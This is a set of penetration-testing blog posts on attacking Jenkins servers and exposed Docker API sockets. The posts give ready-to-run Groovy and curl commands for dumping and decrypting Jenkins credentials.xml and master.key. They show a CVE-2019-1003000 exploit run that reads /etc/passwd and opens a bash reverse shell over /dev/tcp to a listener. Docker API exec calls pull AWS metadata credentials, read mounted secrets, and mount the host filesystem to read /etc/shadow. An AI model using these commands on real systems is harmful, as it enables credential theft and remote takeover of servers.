Jenkins - decrypting credentials.xml

If you find yourself on a Jenkins box with script console access you can decrypt the saved passwords in credentials.xml in the following way:

hashed_pw='$PASSWORDHASH'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)

You need to perform this on the the Jenkins system itself as it's using the local master.key and hudson.util.Secret

Screenshot below

Code to get the credentials.xml from the script console

Windows
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c type credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

*nix
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

If you just want to do it with curl you can hit the scriptText endpoint and do something like this:

Windows:
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

Also because this syntax took me a minute to figure out for files in subdirectories:

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run

*nix
curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"


Then to decrypt any passwords:

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())"

If you are in a position where you have the files but no access to jenkins you can use:
https://github.com/tweksteen/jenkins-decrypt

There is a small bug in the python when it does the regex and i havent bothered to fix it at the time of this post. But here is version where instead of the regex i'm just printing out the values and you can see the decrypted password. The change is line 55.

Edit 4 March 19: the script only regexs for password (line 72), you might need to swap out the regex if there are ssh keys or other secrets...read the credentials.xml file :-)

Edit 8 April 19: This tweet outlines another similar way  
https://twitter.com/netmux/status/1115237815590236160

Jenkins - SECURITY-180/CVE-2015-1814 PoC

Forced API token change

SECURITY-180/CVE-2015-1814

https://jenkins.io/security/advisory/2015-03-23/#security-180cve-2015-1814-forced-api-token-change

Affected Versions

• All Jenkins releases <= 1.605
• All LTS releases <= 1.596.1

PoC
Tested against Jenkins 1.605

Burp output

Validate new token works

Jenkins - SECURITY-200 / CVE-2015-5323 PoC

API tokens of other users available to admins

SECURITY-200 / CVE-2015-5323

API tokens of other users were exposed to admins by default. On instances that don’t implicitly grant RunScripts permission to admins, this allowed admins to run scripts with another user’s credentials.

Affected versions

All Jenkins main line releases up to and including 1.637

All Jenkins LTS releases up to and including 1.625.1

PoC

Tested against Jenkins 1.6.37

From the script console:

run some groovy code to get the token of another user

wrong token

correct token

Jenkins Master Post

A collection of posts on attacking Jenkins

http://www.labofapenetrationtester.com/2014/08/script-execution-and-privilege-esc-jenkins.html
Manipulating build steps to get RCE

https://medium.com/@uranium238/shodan-jenkins-to-get-rces-on-servers-6b6ec7c960e2
Using the terminal plugin to get RCE

https://sharadchhetri.com/2018/12/02/managing-jenkins-plugins/
Getting started with Jenkins Plugins

https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
Vulns in

• Pipeline: Declarative Plugin up to and including 1.3.4
• Pipeline: Groovy Plugin up to and including 2.61
• Script Security Plugin up to and including 1.49

Blog post says: This issue has been fixed in Jenkins version 2.121.1 LTS (2.132 weekly).

http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
CVE-2019-1003000 (https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266)

https://github.com/Coalfire-Research/java-deserialization-exploits/tree/master/Jenkins
https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream
CVE-2015-8103 & CVE-2016-0792

https://github.com/nixawk/labs/tree/master/CVE-2017-1000353
https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
https://www.twistlock.com/2017/06/18/jenkins-java-deserialization/
CVE-2017-1000353 PoC

https://cloud.tencent.com/developer/article/1165414
https://github.com/anntsmart/CVE
CVE-2018-1999002 (windows) Arbitrary file read

A arbitrary file read vulnerability exists in Jenkins 2.132 and earlier, 2.121.1 and earlier in the Stapler web framework. Under Windows, directories that don't exist can be traversed by ../, but not for Linux. Then this vulnerability can be read by any file under Windows. Under Linux, you need to have a directory with _ in the Jenkins plugins directory.

https://www.crowdstrike.com/blog/your-jenkins-belongs-to-us-now-abusing-continuous-integration-systems/
https://www.n00py.io/2017/01/compromising-jenkins-and-extracting-credentials/
Decrypting credentials.xml 

https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/
Jenkins, windows, powershell

https://securitynews.sonicwall.com/xmlpost/jenkins-ci-server-at-risk-high-risk-vulnerbaility/
https://www.zdnet.com/article/thousands-of-jenkins-servers-will-let-anonymous-users-become-admins/
https://www.cyberark.com/threat-research-blog/tripping-the-jenkins-main-security-circuit-breaker-an-inside-look-at-two-jenkins-security-vulnerabilities/
CVE-2018-1999001 malformed request moves the config.xml file, after restart anyone can log in - couple it with a DoS (CVE-2018-1999043) to force restart 

• Jenkins weekly up to and including 2.132
• Jenkins LTS up to and including 2.121.1

CG Posts:

https://carnal0wnage.attackresearch.com/2019/02/jenkins-messing-with-new-exploits-pt1.html
Username enumeration Jenkins 2.137 and below

https://carnal0wnage.attackresearch.com/2019/02/jenkins-security-200-cve-2015-5323-poc.html
Jenkins - SECURITY-200 / CVE-2015-5323 PoC (API tokens of other users available to admins)

https://carnal0wnage.attackresearch.com/2019/02/jenkins-security-180cve-2015-1814-poc.html
Jenkins - SECURITY-180/CVE-2015-1814 PoC (Forced Token Change)

https://carnal0wnage.attackresearch.com/2019/02/jenkins-decrypting-credentialsxml.html
Decrypting Jenkins credentials.xml 

https://carnal0wnage.attackresearch.com/2019/03/jenkins-cve-2018-1000600-poc.html
Jenkins - CVE-2018-1000600 SSRF in GitHub plugin

https://carnal0wnage.attackresearch.com/2019/02/jenkins-messing-with-exploits-pt2-cve.html
Jenkins - CVE-2019-1003000 Pt 1

https://carnal0wnage.attackresearch.com/2019/03/jenkins-messing-with-exploits-pt3-cve.html
Jenkins - CVE-2019-1003000 Pt 2 - Orange Tsai exploit

https://carnal0wnage.attackresearch.com/2019/03/jenkins-identify-ip-addresses-of-nodes.html
Jenkins - Identify IP Addresses of nodes

Jenkins - messing with exploits pt2 - CVE-2019-1003000

After the release of Orange Tsai's exploit for Jenkins. I've been doing some poking. PreAuth RCE against Jenkins is something everyone wants.

While not totally related to the blog post and tweet the following exploit came up while searching.

What I have figured out that is important is the plug versions as it relates to these latest round of Jenkins exploits.  TBH I never paid much attention to the plugins in the past as the issues have been with core Jenkins (as was the first blog post) but you can get a look at them by going to jenkins-server/pluginManager/installed

Jenkins plugin manager

It does require admin permissions or you get this:

No permissions for Jenkins plugin manager

If you do have permissions you can also hit it with the jenkins-cli client and pull the info

$ java -jar jenkins-cli.jar -s http://10.0.0.166:8080/ -auth admin:admin list-plugins

jsch                               JSch dependency plugin                                           0.1.55

structs                            Structs Plugin                                                   1.17

apache-httpcomponents-client-4-api Apache HttpComponents Client 4.x API Plugin                      4.5.5-3.0

mailer                             Mailer Plugin                                                    1.23

command-launcher                   Command Agent Launcher Plugin                                    1.3

workflow-api                       Pipeline: API                                                    2.33

workflow-job                       Pipeline: Job                                                    2.31

ssh-credentials                    SSH Credentials Plugin                                           1.14

authentication-tokens              Authentication Tokens API Plugin                                 1.3

workflow-cps-global-lib            Pipeline: Shared Groovy Libraries                                2.13

jackson2-api                       Jackson 2 API Plugin                                             2.9.8

pipeline-stage-tags-metadata       Pipeline: Stage Tags Metadata                                    1.3.4.1

pipeline-milestone-step            Pipeline: Milestone Step                                         1.3.1

credentials                        Credentials Plugin                                               2.1.18

lockable-resources                 Lockable Resources plugin                                        2.4

jquery-detached                    JavaScript GUI Lib: jQuery bundles (jQuery and jQuery UI) plugin 1.2.1

workflow-scm-step                  Pipeline: SCM Step                                               2.7

matrix-auth                        Matrix Authorization Strategy Plugin                             2.3

matrix-project                     Matrix Project Plugin                                            1.13

pipeline-stage-step                Pipeline: Stage Step                                             2.3

pipeline-build-step                Pipeline: Build Step                                             2.7

pipeline-input-step                Pipeline: Input Step                                             2.9

bouncycastle-api                   bouncycastle API Plugin                                          2.17

handlebars                         JavaScript GUI Lib: Handlebars bundle plugin                     1.1.1

momentjs                           JavaScript GUI Lib: Moment.js bundle plugin                      1.1.1

plain-credentials                  Plain Credentials Plugin                                         1.5

docker-commons                     Docker Commons Plugin                                            1.13

git-client                         Git client plugin                                                2.7.6

pipeline-rest-api                  Pipeline: REST API Plugin                                        2.10

workflow-basic-steps               Pipeline: Basic Steps                                            2.14

credentials-binding                Credentials Binding Plugin                                       1.17 (1.18)

pipeline-stage-view                Pipeline: Stage View Plugin                                      2.10

workflow-multibranch               Pipeline: Multibranch                                            2.20

script-security                    Script Security Plugin                                           1.49 (1.53)

git-server                         GIT server Plugin                                                1.7

workflow-step-api                  Pipeline: Step API                                               2.19

pipeline-graph-analysis            Pipeline Graph Analysis Plugin                                   1.9

pipeline-model-api                 Pipeline: Model API                                              1.3.4.1

workflow-cps                       Pipeline: Groovy                                                 2.61 (2.63)

branch-api                         Branch API Plugin                                                2.1.2

jdk-tool                           JDK Tool Plugin                                                  1.2

cloudbees-folder                   Folders Plugin                                                   6.7

durable-task                       Durable Task Plugin                                              1.29

junit                              JUnit Plugin                                                     1.27

scm-api                            SCM API Plugin                                                   2.3.0

ace-editor                         JavaScript GUI Lib: ACE Editor bundle plugin                     1.1

display-url-api                    Display URL API                                                  2.3.0

workflow-support                   Pipeline: Supporting APIs                                        3.2

AFAIK you cant enumerate plugins installed and their version without (elevated) authentication like you can with things like WordPress.  If you know how, please let me know.  For the time being i guess it's just throwing things to see what sticks.

As I mentioned, the latest particular vulns are issues with installed Jenkins plugins. Taking a look at CVE-2019-1003000 (https://nvd.nist.gov/vuln/detail/CVE-2019-1003000) we can see that it affects the Script Security Plugin (the nist.gov says 2.49 but it's a typo and should be 1.49) as seen on the Jenkins advisory https://jenkins.io/security/advisory/2019-01-08/#SECURITY-1266

An exploit for the issue exists and is available here:  https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc it even comes with a docker config to spin up a vulnerable version to try it out on.  What's important about this particular exploit is that it IS post auth but it doesn't require script permissions, only Overall/Read permission and Job/Configure permissions.

I'm seeing more and more servers/admins (rightfully) block access to the script &  scriptText console because it's well documented that is an immediate RCE.

no script permission

I encourage you to read the whole readme file in the repo but the most important part is here:

A flaw was found in Pipeline: Declarative Plugin before version 1.3.4.1, Pipeline: Groovy Plugin before version 2.61.1 and Script Security Plugin before version 1.50

This PoC is using a user with Overall/Read and Job/Configure permission to execute a maliciously modified build script in sandbox mode, and try to bypass the sandbox mode limitation in order to run arbitrary scripts (in this case, we will execute system command).

As a background, Jenkins's pipeline build script is written in groovy. This build script will be compiled and executed in Jenkins master or node, containing definition of the pipeline, e.g. what to do in slave nodes. Jenkins also provide the script to be executed in sandbox mode. In sandbox mode, all dangerous functions are blacklisted, so regular user cannot do anything malicious to the Jenkins server.

Running the exploit:

 python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY
[Pipeline] echo
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
jenkins:x:1000:1000:Linux User,,,:/var/jenkins_home:/bin/bash

[Pipeline] End of Pipeline
Finished: SUCCESS

you can certainly pull a reverse shell from it as well.

python2.7 exploit.py --url http://localhost:8080 --job my-pipeline --username user1 --password user1 --cmd "bash -i >& /dev/tcp/10.0.0.16/4444 0>&1"
[+] connecting to jenkins...
[+] crafting payload...
[+] modifying job with payload...
[+] putting job build to queue...
[+] waiting for job to build...
[+] restoring job...
[+] fetching output...
[+] OUTPUT:
Started by user User 1
Running in Durability level: MAX_SURVIVABILITY

and you get:

nc -l 4444 -vv

bash: cannot set terminal process group (7): Not a tty
bash: no job control in this shell
bash-4.4$
bash-4.4$
bash-4.4$ whoami
whoami
jenkins

bash-4.4$


The TLDR is you can use this exploit to get a shell if an older version of the Script Security Plugin is installed and if you have Overall/Read permission and Job/Configure permission which a regular Jenkins user is more inclined to have and  this exploit doesn't require using the script console.

Jenkins - messing with new exploits pt1

Jenkins notes for:
https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html

to download old jenkins WAR files

http://updates.jenkins-ci.org/download/war/

1st bug in the blog is a username enumeration bug in

• Jenkins weekly up to and including 2.145
• Jenkins LTS up to and including 2.138.1

From the blog:

Pre-auth User Information Leakage
While testing Jenkins, it’s a common scenario that you want to perform a brute-force attack but you don’t know which account you can try(a valid credential can read the source at least so it’s worth to be the first attempt).
In this situation, this vulnerability is useful!Due to the lack of permission check on search functionality. By modifying the keyword from a to z, an attacker can list all users on Jenkins! 

PoC:

http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]

/securityRealm/user/admin/search/index?q=a

/securityRealm/user/admin/search/index?q=c

ALERT

Even though the advisory says 2.138_1 i tested against 2.138 and the exploit doesn't work.


SOOOOO you are looking for Jenkins <= 2.137

If jenkins is really old the above should work and also https://nvd.nist.gov/vuln/detail/CVE-2017-1000395 where you can get the email address via similar query.

• versions up to (including) 2.73.1
• versions up to (including) 2.83

PoC:

http://jenkins.local/securityRealm/user/admin/api/xml

with 2.137 you can get username/id

/securityRealm/user/cg/api/xml

Abusing Docker API | Socket

Notes on abusing open Docker sockets

This wont cover breaking out of docker containers

Ports: usually 2375 & 2376 but can be anything

Refs:

https://blog.sourcerer.io/a-crash-course-on-docker-learn-to-swim-with-the-big-fish-6ff25e8958b0
https://www.slideshare.net/BorgHan/hacking-docker-the-easy-way
https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html
https://blog.secureideas.com/2018/08/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-2.html
https://infoslack.com/devops/exploring-docker-remote-api
https://www.blackhat.com/docs/us-17/thursday/us-17-Cherny-Well-That-Escalated-Quickly-How-Abusing-The-Docker-API-Led-To-Remote-Code-Execution-Same-Origin-Bypass-And-Persistence_wp.pdf
https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/
https://cert.litnet.lt/2016/11/owning-system-through-an-exposed-docker-engine/
https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124
https://www.exploit-db.com/exploits/42356
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/docker_daemon_tcp.rb
http://blog.nibblesec.org/2014/09/abusing-dockers-remote-apis.html
https://www.prodefence.org/knock-knock-docker-will-you-let-me-in-open-api-abuse-in-docker-containers/
https://blog.ropnop.com/plundering-docker-images/


Enable docker socket (Create practice locations)
https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd

Having the docker API | socket exposed is essentially granting root to any of the containers on the system

The daemon listens on unix:///var/run/docker.sock but you can bind Docker to another host/port or a Unix socket.

The docker socket  is the socket the Docker daemon listens on by default and it can be used to communicate with the daemon from within a container, or if configured, outside the container against the host running docker.

All the docker socket magic is happening via the docker API. For example if we wanted to spin up an nginx container we'd do the below:

Create a nginx container

The following command uses curl to send the {“Image”:”nginx”} payload to the /containers/create endpoint of the Docker daemon through the unix socket. This will create a container based on Nginx and return its ID.

$ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create

{"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null}

Start the container

 $ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start

As mentioned above you can also have the docker socket listen on a TCP port

You can validate it's docker by hitting it with a version request

 $ curl -s http://open.docker.socket:2375/version | jq

{
  "Version": "1.13.1",
  "ApiVersion": "1.26",
  "MinAPIVersion": "1.12",
  "GitCommit": "07f3374/1.13.1",
  "GoVersion": "go1.9.4",
  "Os": "linux",
  "Arch": "amd64",
  "KernelVersion": "3.10.0-514.26.2.el7.x86_64",
  "BuildTime": "2018-12-07T16:13:51.683697055+00:00",
  "PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64"
}

 or with the docker client

docker -H  open.docker.socket:2375 version

 Server:
 Engine:
  Version:          1.13.1
  API version:      1.26 (minimum version 1.12)
  Go version:       go1.9.4
  Git commit:       07f3374/1.13.1
  Built:            Fri Dec  7 16:13:51 2018
  OS/Arch:          linux/amd64
  Experimental:     false


This is basically a shell into the container

Get a list of running containers with the ps command

docker -H  open.docker.socket:2375 ps

CONTAINER ID        IMAGE                                               COMMAND                  CREATED             STATUS              PORTS                                           NAMES
72cd30d28e5c        gogs/gogs                                           "/app/gogs/docker/st…"   5 days ago          Up 5 days           0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp   gogs
b522a9034b30        jdk1.8                                              "/bin/bash"              5 days ago          Up 5 days                                                           myjdk8
0f5947860c17        centos/mysql-57-centos7                             "container-entrypoin…"   8 days ago          Up 8 days           0.0.0.0:3306->3306/tcp                          mysql
3965c004c7a7        192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT   "java -jar /app.jar"     8 days ago          Up 8 days           0.0.0.0:12000->12000/tcp                        config
3f466b754971        42cb59080921                                        "/bin/bash"              8 days ago          Up 8 days                                                           jdk8
6499013fdc2d        registry                                            "/entrypoint.sh /etc…"   8 days ago          Up 8 days           0.0.0.0:5000->5000/tcp                          registry


Exec into one of the containers

docker -H  open.docker.socket:2375 exec -it mysql /bin/bash

bash-4.2$ whoami
mysql


Other commands

Are there some stopped containers?
docker -H open.docker.socket:2375 ps -a

What are the images pulled on the host machine?
docker -H open.docker.socket:2375 images


I've frequently not been able to get the docker client to work well when it comes to the exec command but you can still code exec in the container with the API.  The example below is using curl to interact with the API over https (if enabled). to create and exec job, set up the variable to receive the out put and then start the exec so you can get the output.


Using curl to hit the API

Sometimes you'll see 2376 up for the TLS endpoint.  I haven't been able to connect to it with the docker client but you can with curl no problem to hit the docker API.


Docker socket to metadata URL
https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec


Below is an example of hitting the internal AWS metadata URL and getting the output

list containers:

curl --insecure https://tls-opendocker.socker:2376/containers/json | jq
[
  {
    "Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668",
    "Names": [
      "/docker_snip_1"
    ],
    "Image": "dotnetify",
    "ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca",
    "Command": "cmd /S /C 'dotnet netify-temp.dll'",
    "Created": 1541018555,
    "Ports": [
      {
        "IP": "0.0.0.0",
        "PrivatePort": 443,
        "PublicPort": 50278,
---SNIP---


List processes in a container:

curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
 {
  "Processes": [
    [
      "smss.exe",
      "7868",
      "00:00:00.062",
      "225.3kB"
    ],
    [
      "csrss.exe",
      "10980",
      "00:00:00.859",
      "421.9kB"
    ],
    [
      "wininit.exe",
      "10536",
      "00:00:00.078",
      "606.2kB"
    ],
    [
      "services.exe",
      "10768",
      "00:00:00.687",
      "1.208MB"
    ],
    [
      "lsass.exe",
      "10416",
      "00:00:36.000",
      "4.325MB"
    ],
 ---SNIP---


Set up and exec job to hit the metadata URL:

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'

{"Id":"4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55"}

Get the output:

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'

{
  "Code" : "Success",
  "LastUpdated" : "2019-01-29T20:12:58Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIATRSNIP",
  "SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP",
  "Token" : "FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP",
  "Expiration" : "2019-01-30T02:43:34Z"
}


 Docker secrets
 relevant reading https://docs.docker.com/engine/swarm/secrets/


 list secrets (no secrets/swarm not set up)

 curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
 { "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."}

 list secrets (they exist)

 $ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
 [
  {
    "ID": "9h3useaicj3tr465ejg2koud5",
    "Version": {
      "Index": 21
    },

    "CreatedAt": "2018-07-06T10:19:50.677702428Z",
    "UpdatedAt": "2018-07-06T10:19:50.677702428Z",
    "Spec": {
      "Name": "registry-key.key",
      "Labels": {} }},

Check what is mounted

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'

 {"Id":"7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa"}


Get the output by starting the exec

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'

overlay on / type overlay 
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
---SNIP---
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/sda2 on /var/lib/registry type ext4 (rw,relatime,errors=remount-ro,data=ordered)
tmpfs on /run/secrets/registry-cert.crt type tmpfs (ro,relatime)
tmpfs on /run/secrets/htpasswd type tmpfs (ro,relatime)
tmpfs on /run/secrets/registry-key.key type tmpfs (ro,relatime)
---SNIP---

Cat the mounted secret

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'

 {"Id":"3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30"}

 curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30/start -d '{}'

 -----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEA1A/ptrezfxUlupPgKd/kAki4UlKSfMGVjD6GnJyqS0ySHiz0
---SNIP---


If you have secrets, it's also worth checking out services in case they are adding secrets via environment variables

 curl -s --insecure https://tls-opendocker.socket:2376/services | jq

 [{
    "ID": "amxjs243dzmlc8vgukxdsx57y",
    "Version": {
      "Index": 6417
    },
    "CreatedAt": "2018-04-16T19:51:20.489851317Z",
    "UpdatedAt": "2018-12-07T13:44:36.6869673Z",
    "Spec": {
      "Name": "app_REMOVED",
      "Labels": {},
      "TaskTemplate": {
        "ContainerSpec": {
          "Image": "dpage/pgadmin4:latest@sha256:5b8631d35db5514d173ad2051e6fc6761b4be6c666105f968894509c5255c739",
          "Env": [
            "PGADMIN_DEFAULT_EMAIL=REMOVED@gmail.com",
            "PGADMIN_DEFAULT_PASSWORD=REMOVED"
          ],
          "Isolation": "default"


 Creating a container that has mounted the host file system

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'

{"Id":"0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192","Warnings":null}


curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test

Read something from the host

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'

{"Id":"140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6"}

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'

root:$6$THEPASSWORDHASHWUZHERE:17717:0:99999:7:::
daemon:*:17001:0:99999:7:::
bin:*:17001:0:99999:7:::
sys:*:17001:0:99999:7:::
sync:*:17001:0:99999:7:::
games:*:17001:0:99999:7:::

Cleanup

Stop the container

curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop

delete stopped containers

curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune